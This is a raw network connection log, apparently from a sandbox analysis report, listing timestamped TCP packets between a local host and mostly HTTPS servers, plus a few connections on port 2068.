Nov 23, 2024 21:12:18.844835997 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.846844912 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.846870899 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.847507000 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.847511053 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.847934961 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.847946882 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:18.848368883 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:18.848372936 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.040649891 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.040718079 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.042431116 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.051814079 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.051826954 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.051839113 CET	49849	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.051843882 CET	443	49849	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.052516937 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.052596092 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.052726984 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.145478010 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.145510912 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.145526886 CET	49848	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.145534039 CET	443	49848	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.153335094 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.153366089 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.153429985 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.153433084 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.153506041 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.153580904 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.154021978 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.154030085 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.154055119 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.154083014 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.180351019 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.180433989 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.180501938 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.184380054 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.184385061 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.184397936 CET	49850	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.184401989 CET	443	49850	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.187885046 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.187943935 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.188010931 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.188158989 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.188174009 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.337985992 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.338151932 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.338203907 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.339432001 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.339452982 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.339464903 CET	49852	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.339471102 CET	443	49852	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.342890024 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.342917919 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.342974901 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.343139887 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.343146086 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.397850990 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.397943020 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.397984982 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.400620937 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.400643110 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.400723934 CET	49851	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.400731087 CET	443	49851	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.403702974 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.403749943 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:19.403955936 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.404089928 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:19.404100895 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:20.578109980 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:20.698553085 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:21.029726028 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.030303001 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.030373096 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.030828953 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.030843019 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.033639908 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.033987045 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.034003973 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.034707069 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.034715891 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.036248922 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.036597013 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.036612988 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.037023067 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.037033081 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.267301083 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.268301964 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.268326998 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.269613981 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.269618988 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.381215096 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.387695074 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.387777090 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.388628006 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.388642073 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.482845068 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.482930899 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.483023882 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.488163948 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.488360882 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.488436937 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.492558956 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.492734909 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.492835999 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.719052076 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.719124079 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.719171047 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.774882078 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.774882078 CET	49857	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.774890900 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.774926901 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.774926901 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.774939060 CET	443	49857	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.774941921 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.774949074 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.775150061 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.775156021 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.775166035 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.775170088 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.777487040 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.777498960 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.777508020 CET	49854	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.777513027 CET	443	49854	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.780530930 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.780565977 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.780777931 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.781518936 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.781572104 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.781631947 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.782371044 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.782381058 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.782793045 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.782809019 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.783710003 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.783747911 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.783890963 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.783941031 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.783948898 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.784220934 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.784234047 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.784302950 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.784943104 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.784956932 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.833178997 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.833252907 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.833298922 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.835025072 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.835042953 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.835057020 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.835063934 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.845016003 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.845061064 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:21.845189095 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.852315903 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:21.852332115 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.790047884 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.790684938 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.790783882 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.791151047 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.791181087 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.794121027 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.794529915 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.794563055 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.794982910 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.794989109 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.814066887 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.816981077 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.818763971 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.818775892 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.819459915 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.819464922 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.819706917 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.819729090 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.820218086 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.820230007 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.838618994 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.839828014 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.839854002 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.840162039 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:23.840167046 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:23.852516890 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:23.853353977 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:24.244882107 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.245023012 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.245301962 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.245378971 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.245421886 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.248267889 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.334965944 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.335103989 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.337061882 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.337116003 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.337229013 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.339565039 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.357847929 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.357917070 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.359360933 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.368499994 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.368499994 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.368519068 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.368527889 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.376008034 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.376008034 CET	49859	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.376030922 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.376051903 CET	443	49859	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.376157045 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.376183987 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.376214981 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.376221895 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.377080917 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.377080917 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.377089024 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.377098083 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.377471924 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.377471924 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.377479076 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.377486944 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.384145021 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.384185076 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.384325027 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.387257099 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.387276888 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.388293028 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.388334990 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.388474941 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.388756990 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.388772964 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.388921022 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.388952017 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.389336109 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.389475107 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.389492035 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.389729023 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.389736891 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.389844894 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.390028954 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.390038967 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.395298004 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.395335913 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:24.395549059 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.395725012 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:24.395739079 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:25.627509117 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:25.628988981 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:25.937325001 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:25.945847034 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:25.945862055 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:25.946037054 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:26.064764023 CET	2068	49816	147.185.221.24	192.168.2.4
Nov 23, 2024 21:12:26.065023899 CET	49816	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:12:26.145734072 CET	49869	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:12:26.272152901 CET	2068	49869	192.168.68.139	192.168.2.4
Nov 23, 2024 21:12:26.284075975 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.284691095 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.285429955 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.285444975 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.285864115 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.285876036 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.285877943 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.285888910 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.286103964 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.286108017 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.288104057 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.288634062 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.288655043 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.289381027 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.289386988 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.338323116 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.341814995 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.341814995 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.341830015 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.341837883 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.353856087 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.357804060 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.357804060 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.357822895 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.357831001 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.792664051 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.792845011 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.793453932 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.794200897 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.794287920 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.797308922 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.800417900 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.800491095 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.801692009 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.841866016 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.842036009 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.845839977 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.853368998 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.853368998 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.853399992 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.853410006 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.855221987 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.855323076 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.857563972 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.873320103 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.873341084 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.873352051 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.873358965 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.898978949 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.898997068 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.899005890 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.899013042 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.915534019 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.915544033 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.915553093 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.915556908 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.928148985 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.928160906 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.928173065 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.928177118 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.949604034 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.949650049 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.949732065 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.950043917 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.950090885 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.950158119 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.951004028 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.951018095 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.951716900 CET	49871	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.951736927 CET	443	49871	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.953370094 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.953391075 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.953459978 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.962172031 CET	49872	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.962186098 CET	443	49872	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.965411901 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.965440989 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:26.965500116 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.965600967 CET	49873	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:26.965610981 CET	443	49873	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:27.082375050 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:27.082395077 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:27.082592964 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:27.083077908 CET	49874	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:12:27.083086967 CET	443	49874	13.107.246.63	192.168.2.4
Nov 23, 2024 21:12:27.275023937 CET	443	49847	142.250.181.100	192.168.2.4
Nov 23, 2024 21:12:27.275501013 CET	443	49847	142.250.181.100	192.168.2.4
